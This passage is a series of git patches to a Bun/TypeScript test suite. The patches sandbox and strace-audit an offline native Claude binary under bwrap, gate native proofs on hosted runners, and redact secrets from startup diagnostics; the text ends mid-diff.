spyOn(launcher,"verifiedWorkerIdentity").mockReturnValue({identity:"separate_uid",workerUid:(process.getuid()||21000)+1}); + ${guardMountOrderCheck} const spawnSync=Bun.spawnSync,which=Bun.which; Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); const leave=nativeScriptedService("http://127.0.0.1:1"); const launch={command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)},ANTHROPIC_API_KEY:"offline-fixture"}, - argv:["/usr/bin/python3","-I","-S","-c",WORKER_IDENTITY_SUPERVISOR,JSON.stringify({argv:["bwrap","--ro-bind","/","/","--",${JSON.stringify(runtime)}],secret:"synthetic"})]}; + argv:["/usr/bin/python3","-I","-S","-c",WORKER_IDENTITY_SUPERVISOR,JSON.stringify({argv:["bwrap","--ro-bind","/","/",...${JSON.stringify(["/tmp","/home","/etc",ROOT])}.flatMap(path=>["--tmpfs",path]),"--",${JSON.stringify(runtime)}],secret:"synthetic"})]}; const worker=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify(launch)}); const outer=JSON.parse(worker.env.BRAIN_WORKER_LAUNCH).argv; if(realpathSync(outer[0])!==realpathSync("/usr/bin/python3"))throw Error("tracer wrapped the coordinator instead of the payload"); const config=JSON.parse(outer[5]),args=config.argv,split=args.indexOf("--"),trace=args.slice(split+1); if(trace[0]!=="/synthetic/strace")throw Error("native broker payload was not traced"); const log=trace[trace.indexOf("-o")+1],directory=dirname(log); + assertGuardMountOrder(args.slice(1,split)); + if(!args.slice(0,split).some((arg,i)=>arg==="--bind"&&args[i+1]===directory&&args[i+2]===directory))throw Error("guard trace directory bind missing"); const inner=trace.slice(trace.indexOf("--")+1); if(!inner.some((arg,i)=>arg==="--tmpfs"&&inner[i+1]===directory)||!inner.includes("--unshare-pid")||!inner.includes("--unshare-net"))throw Error("native child can see audit storage or tracer PID"); if(args.slice(0,split).some((arg,i)=>arg==="--ro-bind"&&args[i+1]==="/"))throw Error("host root remained mounted"); From 7e56dd5f0cf1f1ed2bb2279f66f8a31631f3c756 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 06:06:49 +0000 Subject: [PATCH 051/187] test: distinguish default private fixtures and assert permission denial --- packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts index 99845b0538..b937ab586b 100644 --- a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts +++ b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts @@ -38,8 +38,12 @@ if (existsSync(privateRoot)) { expect(process.getuid?.(),"PRIVATE_FIXTURE_GUARD_UID").toBe(21001); expect(lstatSync(privateRoot).uid,"PRIVATE_FIXTURE_OWNER_UID").toBe(21002); expect(lstatSync(privateRoot).mode & 0o007,"PRIVATE_FIXTURE_NO_WORLD_ACCESS").toBe(0); - expect(readdirSync(privateRoot),"PRIVATE_FIXTURE_PROVENANCE_TRAVERSABLE").toContain(".gitattributes"); - expect(()=>readFileSync(join(privateRoot,".gitattributes")),"PRIVATE_FIXTURE_CONTENTS_STAY_WORKER_ONLY").toThrow(); + const privateEntries=readdirSync(privateRoot); + expect(privateEntries,"PRIVATE_FIXTURE_PROVENANCE_TRAVERSABLE").toContain("result.md"); + const privateFile=join(privateRoot,privateEntries.includes(".gitattributes")?".gitattributes":"result.md"); + let readError: string | undefined; + try {readFileSync(privateFile);} catch(error) {readError=(error as NodeJS.ErrnoException).code;} + expect(readError,"PRIVATE_FIXTURE_CONTENTS_STAY_WORKER_ONLY").toBe("EACCES"); const runtime=bundledClaudeBinary();if(!runtime)throw Error("installed SDK identity unavailable"); // Plan only: no native process launches. The registered root is exercised by // the real turn below; the same accessible, unregistered root must refuse. From c46013a82a1ff3ec8a3aba739f8303d9c339a90a Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 06:31:10 +0000 Subject: [PATCH 052/187] test: preserve hosted qualification across the RTK cleared environment --- scripts/measurement-rtk-fixture.ts | 8 ++++- tests/measurement-rtk-fixture.test.ts | 44 +++++++++++++++++++++++++++ 2 files changed, 51 insertions(+), 1 deletion(-) create mode 100644 tests/measurement-rtk-fixture.test.ts diff --git a/scripts/measurement-rtk-fixture.ts b/scripts/measurement-rtk-fixture.ts index 4850a8cc36..9b2ad9d6a3 100644 --- a/scripts/measurement-rtk-fixture.ts +++ b/scripts/measurement-rtk-fixture.ts @@ -2,6 +2,12 @@ import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; import { join, resolve } from "node:path"; +// Capture the outer invocation before a measurement changes its environment. +// Only the existing hosted pair is carried across bwrap's --clearenv; a local +// or self-hosted invocation cannot acquire it from a later fixture mutation. +const hostedRunner = process.env.GITHUB_ACTIONS === "true" && process.env.RUNNER_ENVIRONMENT === "github-hosted"; +const hostedEnvironment = hostedRunner ? ["--setenv", "GITHUB_ACTIONS", "true", "--setenv", "RUNNER_ENVIRONMENT", "github-hosted"] : []; + /** Re-enter a disposable system view; never install an oracle on the host. */ export async function enterMeasurementRtkView(): Promise { if (process.argv.includes("--native-rtk-view")) return; @@ -39,7 +45,7 @@ int main(int argc,char **argv) { "--dir", "/usr/local/bin", "--ro-bind", binary, "/usr/local/bin/rtk", "--ro-bind", root, root, "--bind", join(root, "tmp"), join(root, "tmp"), "--ro-bind", process.execPath, process.execPath, "--clearenv", - "--setenv", "PATH", "/usr/local/bin:/usr/bin:/bin", "--setenv", "HOME", "/nonexistent", + "--setenv", "PATH", "/usr/local/bin:/usr/bin:/bin", "--setenv", "HOME", "/nonexistent", ...hostedEnvironment, "--chdir", root, "--", process.execPath, ...process.argv.slice(1), "--native-rtk-view"], { env: {}, stdout: "inherit", stderr: "inherit" }); process.exitCode = await child.exited; diff --git a/tests/measurement-rtk-fixture.test.ts b/tests/measurement-rtk-fixture.test.ts new file mode 100644 index 0000000000..93cee5a6b3 --- /dev/null +++ b/tests/measurement-rtk-fixture.test.ts @@ -0,0 +1,44 @@ +/** Plan and harmless re-entry only: no namespace or installed native runtime executes. */ +import { expect, test } from "bun:test"; +import { mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; +import { join } from "node:path"; +import { tmpdir } from "node:os"; + +const ROOT=join(import.meta.dir,".."); +for(const mode of ["hosted","local","self-hosted"] as const) test(`cleared-env RTK re-entry preserves only the outer ${mode} qualification`,async()=>{ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-rtk-reentry-")); + try { + const planFile=join(scratch,"plan.json"),parent=join(scratch,"parent.ts"),inner=join(scratch,"inner.ts"); + writeFileSync(parent,`import {writeFileSync} from "node:fs"; + const {enterMeasurementRtkView}=await import(${JSON.stringify(join(ROOT,"scripts/measurement-rtk-fixture.ts"))}); + ${mode==="hosted"?'delete process.env.GITHUB_ACTIONS;delete process.env.RUNNER_ENVIRONMENT;':'process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";'} + Bun.spawnSync=(()=>({exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)})); + Bun.spawn=((argv,options)=>{writeFileSync(${JSON.stringify(planFile)},JSON.stringify({argv,env:options.env}));return {exited:Promise.resolve(0)};}); + await enterMeasurementRtkView();`); + const child=Bun.spawn([process.execPath,parent],{env:{PATH:"/usr/bin:/bin",HOME:scratch,GITHUB_ACTIONS:mode==="local"?"false":"true",RUNNER_ENVIRONMENT:mode==="hosted"?"github-hosted":mode},stdout:"pipe",stderr:"pipe"}); + const [code,errors]=await Promise.all([child.exited,new Response(child.stderr).text()]);expect(code,errors).toBe(0); + const plan=JSON.parse(readFileSync(planFile,"utf8")) as {argv:string[];env:Record}; + expect(plan.env).toEqual({}); + let env:Record={}; + for(let i=0;i{if(argv[0]!=="bwrap")throw Error("unexpected qualification command");console.error("NAMESPACE_QUALIFIER_REACHED");return {exitCode:1,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)};}); + try{nativeClaudeBoundary("/usr/bin/true",[],{});}catch{}process.exit(0);`); + const reentry=Bun.spawn([process.execPath,inner],{env,stdout:"pipe",stderr:"pipe"}); + const [status,receipt]=await Promise.all([reentry.exited,new Response(reentry.stderr).text()]); + expect(status).not.toBe(0);expect(receipt).toContain('"nativeLaunched":false'); + if(mode==="hosted") { + expect(receipt).toContain("NAMESPACE_QUALIFIER_REACHED");expect(receipt).toContain("OS namespace setup failed"); + } else { + expect(receipt).not.toContain("NAMESPACE_QUALIFIER_REACHED");expect(receipt).toContain("positive native proof requires a hosted runner"); + } + }finally{rmSync(scratch,{recursive:true,force:true});} +}); From dde854372717c950fa5dca7a50ae89bf18d29a21 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 07:01:13 +0000 Subject: [PATCH 053/187] test: retain scrubbed native identity startup evidence --- .../native-worker-startup-diagnostics.ts | 37 +++++++++++++++++ .../tests/fixtures/ordinary-identity-ws.ts | 24 ++++++++++- scripts/test-native-guard.ts | 6 ++- tests/native-offline-boundary.test.ts | 4 ++ .../native-worker-startup-diagnostics.test.ts | 40 +++++++++++++++++++ 5 files changed, 109 insertions(+), 2 deletions(-) create mode 100644 packages/ui-sdk/tests/fixtures/native-worker-startup-diagnostics.ts create mode 100644 tests/native-worker-startup-diagnostics.test.ts diff --git a/packages/ui-sdk/tests/fixtures/native-worker-startup-diagnostics.ts b/packages/ui-sdk/tests/fixtures/native-worker-startup-diagnostics.ts new file mode 100644 index 0000000000..c344506ca9 --- /dev/null +++ b/packages/ui-sdk/tests/fixtures/native-worker-startup-diagnostics.ts @@ -0,0 +1,37 @@ +/** Test-only startup evidence; never write raw stderr, argv or environment. */ +import type { Readable } from "node:stream"; +import { createRedactor } from "../../../compute-boat/src/redact.js"; +import { redactCredentials } from "../../../ui-server/src/activity/runtime-status.js"; +import { redactProviderMessage } from "../../../ui-react/src/lib/turn-failure.js"; + +export const STARTUP_STDERR_BYTES = 32768; +interface StartupWorker { stderr: Readable; exited: Promise } +interface BootstrapStatus { exitCode: number | null; signalCode: string | number | null } + +export function observeNativeWorkerStartup(worker: StartupWorker, bootstrap: BootstrapStatus, secrets: readonly string[]): void { + const redactor=createRedactor(undefined);for(const secret of secrets)redactor.add(secret); + // These are the existing outcome/log and Activity/provider-receipt scrubbers. + const scrub=(text:string)=>redactProviderMessage(redactCredentials(redactor.text(text))); + const chunks:Buffer[]=[];let retained=0,observed=0,flushed=false; + const data=(chunk:Buffer|string)=>{ + const bytes=Buffer.isBuffer(chunk)?chunk:Buffer.from(chunk);observed+=bytes.length; + const keep=Math.min(bytes.length,STARTUP_STDERR_BYTES-retained); + if(keep>0){chunks.push(Buffer.from(bytes.subarray(0,keep)));retained+=keep;} + }; + const flush=()=>{ + if(flushed)return;flushed=true;worker.stderr.off("data",data); + let text=Buffer.concat(chunks).toString("utf8"); + // Never print a partial trailing credential when the prefix was capped. + if(observed>retained)text=text.slice(0,Math.max(0,text.lastIndexOf("\n"))); + console.error(JSON.stringify({kind:"native-fixture-startup-stderr",retainedBytes:retained,observedBytes:observed, + truncated:observed>retained,text:scrub(text)})); + chunks.length=0; + }; + worker.stderr.on("data",data);worker.stderr.once("end",flush);worker.stderr.once("close",flush); + worker.stderr.once("error",error=>{flush();console.error(JSON.stringify({kind:"native-fixture-stderr-error",message:scrub(String(error))}));}); + void worker.exited.then(code=>{ + console.error(JSON.stringify({kind:"native-fixture-worker-exit",exitCode:code,signal:bootstrap.signalCode,signalScope:"worker-bootstrap",bootstrapExitCode:bootstrap.exitCode})); + },error=>{ + console.error(JSON.stringify({kind:"native-fixture-worker-exit",exitCode:null,signal:bootstrap.signalCode,signalScope:"worker-bootstrap",bootstrapExitCode:bootstrap.exitCode,message:scrub(String(error))})); + }).finally(()=>{setTimeout(flush,2000).unref();}); +} diff --git a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts index b937ab586b..67565f4868 100644 --- a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts +++ b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts @@ -18,6 +18,11 @@ import { serializeSigned } from "hono/utils/cookie"; import { bundledClaudeBinary } from "../../../core/src/providers/agents/claude-binary.js"; import { nativeScriptedService, nativeScriptedQuery } from "../../../../scripts/test-native-guard.ts"; +import { observeNativeWorkerStartup } from "./native-worker-startup-diagnostics.js"; +import type { LaunchedWorker } from "../../src/server/worker-launcher.js"; +import { isNativeClaude } from "../../../../scripts/test-native-guard.ts"; +const nativeBootstraps=new Map(); + const sharedGit = new URL(import.meta.url).searchParams.has("shared-git"); const bootPruneCapture = sharedGit && process.argv.includes("--boot-prune-capture"); let ownedBootPrune: ReturnType | undefined; @@ -89,6 +94,14 @@ const observedBackend = { ...backend, startTurn(request: Parameters{ + started?.(worker); + // The existing callback receives the full worker at runtime; its public + // request type intentionally exposes only control/lifecycle operations. + const full=worker as LaunchedWorker,bootstrap=nativeBootstraps.get(full.pid); + if(bootstrap)observeNativeWorkerStartup(full,bootstrap,[secret,"odysseus-fictional-api-key"]); + }; return backend.startTurn(request); } }; const observability = createRecordingObservability(), secret = "odysseus-fixture-cookie-secret-0123456789"; @@ -113,7 +126,16 @@ Object.defineProperty(Bun, "spawn", { ...spawnDescriptor, value: (...args: any[] classes: ["attested-stage-container", "git-adapter", "frozen-config"], nodes } })); } } - return Reflect.apply(spawn, Bun, args); + const child=Reflect.apply(spawn, Bun, args) as Bun.Subprocess; + if(launch) { + const command=JSON.parse(launch).command as string[]|undefined; + if(command?.[0] && isNativeClaude(command[0],command.slice(1))) { + nativeBootstraps.set(child.pid,child); + void child.exited.then(code=>console.error(JSON.stringify({kind:"native-fixture-bootstrap-exit",exitCode:code,signal:child.signalCode})), + ()=>console.error(JSON.stringify({kind:"native-fixture-bootstrap-exit",exitCode:null,signal:child.signalCode}))); + } + } + return child; } }); // Local diagnostic artifact only: fixed disposable fixture root, no contents or recursion. function recordFixtureRootMetadata(phase: "before-app" | "after-app") { diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 9123a14cd5..85450a4239 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -903,6 +903,10 @@ export function nativeWorkerBoundary(env: Record): { audited = auditNativeLaunch(workerArgv, expected, bridge.dispose); launch.argv = audited.argv; } - return { env: { ...env, BRAIN_WORKER_LAUNCH: JSON.stringify(launch) }, dispose: audited.dispose, beforeLaunch }; + const encoded=JSON.stringify(launch); + console.error(JSON.stringify({kind:"native-offline-worker-plan",head:nativeTestHead(), + bootstrapArgc:launch.argv!.length,bootstrapArgvBytes:Buffer.byteLength(JSON.stringify(launch.argv)), + sandboxArgc:workerArgv.length,sandboxArgvBytes:Buffer.byteLength(JSON.stringify(workerArgv)),metadataBytes:Buffer.byteLength(encoded)})); + return { env: { ...env, BRAIN_WORKER_LAUNCH: encoded }, dispose: audited.dispose, beforeLaunch }; } catch (error) { bridge.dispose(); throw error; } } diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index e295091828..57efaf2b47 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -332,6 +332,10 @@ test("guard worker binds follow every covering mount", async()=>{ if(!mounts.some((arg,i)=>arg==="--ro-bind"&&mounts[i+1]?.endsWith("/native-connect"))||!mounts.includes("/tmp/native-relay"))throw Error("guard input missing from plan"); plan.beforeLaunch();writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();`,scratch); expect(result.code,result.output).toBe(0); + const receipt=JSON.parse(result.output.split("\n").find(line=>line.startsWith('{"kind":"native-offline-worker-plan"'))!); + expect(Object.keys(receipt).sort()).toEqual(["kind","head","bootstrapArgc","bootstrapArgvBytes","sandboxArgc","sandboxArgvBytes","metadataBytes"].sort()); + for(const [key,value] of Object.entries(receipt))if(key!=="kind"&&key!=="head")expect(typeof value==="number"&&Number.isSafeInteger(value)&&value>0).toBe(true); + expect(JSON.stringify(receipt)).not.toContain(runtime!); }finally{rmSync(scratch,{recursive:true,force:true});} }); diff --git a/tests/native-worker-startup-diagnostics.test.ts b/tests/native-worker-startup-diagnostics.test.ts new file mode 100644 index 0000000000..8165afd316 --- /dev/null +++ b/tests/native-worker-startup-diagnostics.test.ts @@ -0,0 +1,40 @@ +import { expect, spyOn, test } from "bun:test"; +import { PassThrough } from "node:stream"; +import { observeNativeWorkerStartup, STARTUP_STDERR_BYTES } from "../packages/ui-sdk/tests/fixtures/native-worker-startup-diagnostics"; + +async function captured(run:(records:Record[])=>Promise) { + const records:Record[]=[]; + const log=spyOn(console,"error").mockImplementation(value=>records.push(JSON.parse(String(value)))); + try{await run(records);}finally{log.mockRestore();} +} + +test("native fixture startup diagnostics use receipt scrubbers across chunks and record exit signal",async()=>{ + await captured(async records=>{ + const stderr=new PassThrough(),secret="odysseus-private-key",token="sk-ant-"+"k".repeat(48); + observeNativeWorkerStartup({stderr,exited:Promise.resolve(143)},{exitCode:143,signalCode:"SIGTERM"},[secret]); + stderr.write("startup failure\napi_key="+secret.slice(0,8)); + stderr.end(secret.slice(8)+"\nAuthorization: Bearer "+token+"\npassword=voyage-password\n/tmp/odysseus-private/result.md\n"); + await new Promise(resolve=>setImmediate(resolve)); + const record=records.find(row=>row.kind==="native-fixture-startup-stderr")!; + expect(record.text).toContain("startup failure"); + for(const value of [secret,token,"voyage-password","/tmp/odysseus-private"])expect(record.text).not.toContain(value); + expect(record.text).toContain("[redacted"); + expect(record.truncated).toBe(false); + expect(records.find(row=>row.kind==="native-fixture-worker-exit")).toEqual({kind:"native-fixture-worker-exit",exitCode:143,signal:"SIGTERM",signalScope:"worker-bootstrap",bootstrapExitCode:143}); + }); +}); + +test("native fixture retains only bounded initial stderr and scrubs rejected exits",async()=>{ + await captured(async records=>{ + const stderr=new PassThrough(),secret="odysseus-rejected-secret"; + observeNativeWorkerStartup({stderr,exited:Promise.reject(Error("secret="+secret))},{exitCode:1,signalCode:null},[secret]); + stderr.write("initial startup failure\n");stderr.end("x".repeat(STARTUP_STDERR_BYTES*2)+"\nlate detail\n"); + await new Promise(resolve=>setImmediate(resolve)); + const record=records.find(row=>row.kind==="native-fixture-startup-stderr")!; + expect(record.retainedBytes).toBe(STARTUP_STDERR_BYTES); + expect(record.truncated).toBe(true); + expect(record.text).toBe("initial startup failure"); + expect(JSON.stringify(records)).not.toContain(secret); + expect(record.text).not.toContain("late detail"); + }); +}); From cd8ab9baf7e3b6c2646ec9164591a0c9e1fc0659 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 07:08:30 +0000 Subject: [PATCH 054/187] test: terminate audited native trees on cancellation --- scripts/test-native-guard.ts | 6 +++-- tests/native-audit-cancellation.test.ts | 32 +++++++++++++++++++++++++ 2 files changed, 36 insertions(+), 2 deletions(-) create mode 100644 tests/native-audit-cancellation.test.ts diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 85450a4239..3985aa157f 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -165,7 +165,7 @@ function qualify(): void { catch { refuse("OS namespace setup failed"); } if (result.exitCode !== 0) refuse("OS namespace setup failed"); let trace: ReturnType; - try { trace = Bun.spawnSync(["strace", "-qq", "-e", "trace=connect", "-e", "raw=connect", "/usr/bin/true"], + try { trace = Bun.spawnSync(["strace", "-I", "1", "--kill-on-exit", "-qq", "-e", "trace=connect", "-e", "raw=connect", "/usr/bin/true"], { env: {}, stdout: "pipe", stderr: "pipe", timeout: 5000 }); } catch { refuse("native connection audit setup failed"); } if (trace.exitCode !== 0) refuse("native connection audit setup failed"); @@ -339,7 +339,9 @@ export function auditNativeLaunch(argv: string[], expected: readonly string[], c return receipt; } finally { cleanup(); rmSync(directory, { recursive: true, force: true }); } }; - return { argv: [straceExecutable, "-f", "-qq", "-s", "0", "-e", "trace=connect,execve", "-e", "raw=connect", "-o", log, "--", ...argv], + // -o otherwise makes strace ignore SIGTERM; refusal/cancellation must kill + // both the tracer and its entire traced sandbox, closing inherited pipes. + return { argv: [straceExecutable, "-I", "1", "--kill-on-exit", "-f", "-qq", "-s", "0", "-e", "trace=connect,execve", "-e", "raw=connect", "-o", log, "--", ...argv], dispose() { finish(); }, receipt: finish }; } diff --git a/tests/native-audit-cancellation.test.ts b/tests/native-audit-cancellation.test.ts new file mode 100644 index 0000000000..03d5a5d744 --- /dev/null +++ b/tests/native-audit-cancellation.test.ts @@ -0,0 +1,32 @@ +/** Real tracer lifecycle, with a synthetic Bun child only; never launches Claude. */ +import { expect, test } from "bun:test"; +import { auditNativeLaunch } from "../scripts/test-native-guard"; +import { watchdogMs } from "../scripts/test-deadlines"; + +for (const signal of ["SIGTERM", "SIGKILL"] as const) test(`native audit ${signal} cancellation terminates tracer and synthetic child and closes pipes`, async () => { + expect(Bun.which("strace"), "strace is required for audit lifecycle proof").toBeTruthy(); + const audit = auditNativeLaunch([process.execPath, "-e", 'console.log(process.pid);setInterval(()=>{},1000)'], [process.execPath], () => {}); + const child = Bun.spawn(audit.argv, { stdin: "pipe", stdout: "pipe", stderr: "pipe" }); + let fixturePid: number | undefined, timer: ReturnType | undefined; + try { + const reader = child.stdout.getReader(); + const ready = await reader.read(); + fixturePid = Number(new TextDecoder().decode(ready.value).trim()); + expect(Number.isSafeInteger(fixturePid) && fixturePid! > 1).toBe(true); + child.kill(signal); + const completion = Promise.all([child.exited, reader.read(), new Response(child.stderr).text()]); + const [code, tail] = await Promise.race([completion, new Promise((_, reject) => { + timer = setTimeout(() => reject(Error("AUDIT_CANCELLATION_STALLED")), watchdogMs(3000)); + })]); + expect(code).not.toBe(0); + expect(tail.done).toBe(true); + expect(audit.receipt()).toMatchObject({ nativeLaunched: true, success: true }); + } finally { + if (timer) clearTimeout(timer); + // Exact fixture PID only; a broken tracer must not leave the mutant alive. + if (fixturePid && Number.isSafeInteger(fixturePid) && fixturePid > 1) { + try { process.kill(fixturePid, "SIGKILL"); } catch { /* Already reaped. */ } + } + child.kill("SIGKILL"); child.stdin.end(); audit.dispose(); + } +}, watchdogMs(15000)); From a4774079207ff06c06b453280a5219ac07929793 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 07:29:24 +0000 Subject: [PATCH 055/187] test: carry compiled socket policy into the RTK view --- scripts/measurement-rtk-fixture.ts | 10 +++++-- scripts/test-native-guard.ts | 34 ++++++++++++++++----- tests/measurement-rtk-fixture.test.ts | 21 +++++++++++++ tests/native-policy-artifact.test.ts | 43 +++++++++++++++++++++++++++ 4 files changed, 98 insertions(+), 10 deletions(-) create mode 100644 tests/native-policy-artifact.test.ts diff --git a/scripts/measurement-rtk-fixture.ts b/scripts/measurement-rtk-fixture.ts index 9b2ad9d6a3..8907b7ba1e 100644 --- a/scripts/measurement-rtk-fixture.ts +++ b/scripts/measurement-rtk-fixture.ts @@ -1,5 +1,7 @@ /** Private installed-native oracle for the production enforcement measurement. */ -import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import { createHash } from "node:crypto"; +import { compileSocketPolicy, RTK_SOCKET_POLICY } from "./test-native-guard"; +import { readFileSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; import { join, resolve } from "node:path"; // Capture the outer invocation before a measurement changes its environment. @@ -11,6 +13,8 @@ const hostedEnvironment = hostedRunner ? ["--setenv", "GITHUB_ACTIONS", "true", /** Re-enter a disposable system view; never install an oracle on the host. */ export async function enterMeasurementRtkView(): Promise { if (process.argv.includes("--native-rtk-view")) return; + const policy = compileSocketPolicy(); + const policyDigest = createHash("sha256").update(readFileSync(policy)).digest("hex"); const root = resolve(import.meta.dir, ".."); mkdirSync(join(root, "tmp"), { recursive: true }); const fixture = mkdtempSync(join(root, "tmp/enforcement-rtk-")); @@ -42,11 +46,11 @@ int main(int argc,char **argv) { ...["/usr/bin", "/usr/lib", "/usr/lib64", "/usr/share", "/etc"].flatMap(path => ["--ro-bind", path, path]), "--symlink", "usr/bin", "/bin", "--symlink", "usr/lib", "/lib", "--symlink", "usr/lib64", "/lib64", "--proc", "/proc", "--dev", "/dev", "--bind", "/tmp", "/tmp", - "--dir", "/usr/local/bin", "--ro-bind", binary, "/usr/local/bin/rtk", + "--dir", "/usr/local/bin", "--ro-bind", binary, "/usr/local/bin/rtk", "--ro-bind", policy, RTK_SOCKET_POLICY, "--ro-bind", root, root, "--bind", join(root, "tmp"), join(root, "tmp"), "--ro-bind", process.execPath, process.execPath, "--clearenv", "--setenv", "PATH", "/usr/local/bin:/usr/bin:/bin", "--setenv", "HOME", "/nonexistent", ...hostedEnvironment, - "--chdir", root, "--", process.execPath, ...process.argv.slice(1), "--native-rtk-view"], + "--chdir", root, "--", process.execPath, ...process.argv.slice(1), "--native-rtk-view", `--native-socket-policy-sha256=${policyDigest}`], { env: {}, stdout: "inherit", stderr: "inherit" }); process.exitCode = await child.exited; } finally { rmSync(fixture, { recursive: true, force: true }); } diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 3985aa157f..f3223cef41 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -5,6 +5,9 @@ import { createHash } from "node:crypto"; import { createRequire } from "node:module"; import { tmpdir } from "node:os"; import { basename, dirname, join, resolve } from "node:path"; +import { redactCredentials } from "../packages/ui-server/src/activity/runtime-status"; +import { redactProviderMessage } from "../packages/ui-react/src/lib/turn-failure"; +import { createRedactor } from "../packages/compute-boat/src/redact"; import type { query as sdkQuery } from "@anthropic-ai/claude-agent-sdk"; const ROOT = resolve(import.meta.dir, ".."); @@ -139,11 +142,11 @@ export function isNativeClaude(command: string, args: readonly unknown[] = [], o return false; } -function refuse(reason: string, mountEvidence?: Record): never { +function refuse(reason: string, mountEvidence?: Record, compilerStderr?: string): never { denied++; - // Fixed classifications only: arguments, settings, credentials and addresses - // never enter a denial receipt. - console.error(JSON.stringify({ kind: "native-offline-boundary", success: false, nativeLaunched: false, reason, head: nativeTestHead(), ...(mountEvidence ? { mountEvidence } : {}) })); + // Classifications and mount evidence omit arguments/settings/credentials. + // Compiler diagnostics are bounded and scrubbed before reaching this receipt. + console.error(JSON.stringify({ kind: "native-offline-boundary", success: false, nativeLaunched: false, reason, head: nativeTestHead(), ...(mountEvidence ? { mountEvidence } : {}), ...(compilerStderr !== undefined ? { compilerStderr } : {}) })); throw new Error(`Offline native Claude refused before launch: ${reason}`); } @@ -179,16 +182,33 @@ function qualify(): void { qualified = true; } -function compileSocketPolicy(): string { +export const RTK_SOCKET_POLICY = "/usr/local/bin/brain-native-connect"; +function compilerDiagnostic(value: string): string { + const redactor = createRedactor(undefined); + for (const [key, secret] of Object.entries(process.env)) if (/secret|token|password|credential|api.?key/i.test(key) && secret) redactor.add(secret); + let text = Buffer.from(value).subarray(0, 4096).toString("utf8"); + if (Buffer.byteLength(value) > 4096) text = text.slice(0, Math.max(0, text.lastIndexOf("\n"))); + return redactProviderMessage(redactCredentials(redactor.text(text))).slice(0, 4096); +} +/** Compile in the outer test process; RTK re-entry receives only this artifact. */ +export function compileSocketPolicy(): string { if (socketPolicyExecutable) return socketPolicyExecutable; + if (process.argv.includes("--native-rtk-view")) { + const digest = process.argv.find(value => value.startsWith("--native-socket-policy-sha256="))?.split("=")[1]; + try { + const info = lstatSync(RTK_SOCKET_POLICY); + if (!/^[0-9a-f]{64}$/.test(digest ?? "") || !info.isFile() || (info.mode & 0o222) || fileHash(RTK_SOCKET_POLICY) !== digest) throw Error("invalid artifact"); + } catch { return refuse("native socket policy artifact is unavailable or changed"); } + return socketPolicyExecutable = RTK_SOCKET_POLICY; + } const directory = mkdtempSync(join(tmpdir(), "odysseus-native-policy-")); const executable = join(directory, "native-connect"); let compiled: ReturnType; try { compiled = metadataSpawnSync(["cc", "-O2", "-std=c11", "-Wall", "-Wextra", "-Werror", join(import.meta.dir, "native-proof/native-connect.c"), "-o", executable], { env: { PATH: "/usr/bin:/bin", LANG: "C" }, stdout: "pipe", stderr: "pipe", timeout: 30000 }); } - catch { rmSync(directory, { recursive: true, force: true }); return refuse("native socket policy compiler unavailable"); } - if (compiled.exitCode !== 0) { rmSync(directory, { recursive: true, force: true }); return refuse("native socket policy compilation failed"); } + catch (error) { rmSync(directory, { recursive: true, force: true }); return refuse("native socket policy compiler unavailable", undefined, compilerDiagnostic(String(error))); } + if (compiled.exitCode !== 0) { rmSync(directory, { recursive: true, force: true }); return refuse("native socket policy compilation failed", undefined, compilerDiagnostic(compiled.stderr?.toString() ?? "(no compiler stderr)")); } chmodSync(executable, 0o555); chmodSync(directory, 0o555); socketPolicyExecutable = executable; process.on("exit", () => { chmodSync(directory, 0o700); rmSync(directory, { recursive: true, force: true }); }); diff --git a/tests/measurement-rtk-fixture.test.ts b/tests/measurement-rtk-fixture.test.ts index 93cee5a6b3..4dd230b56c 100644 --- a/tests/measurement-rtk-fixture.test.ts +++ b/tests/measurement-rtk-fixture.test.ts @@ -42,3 +42,24 @@ for(const mode of 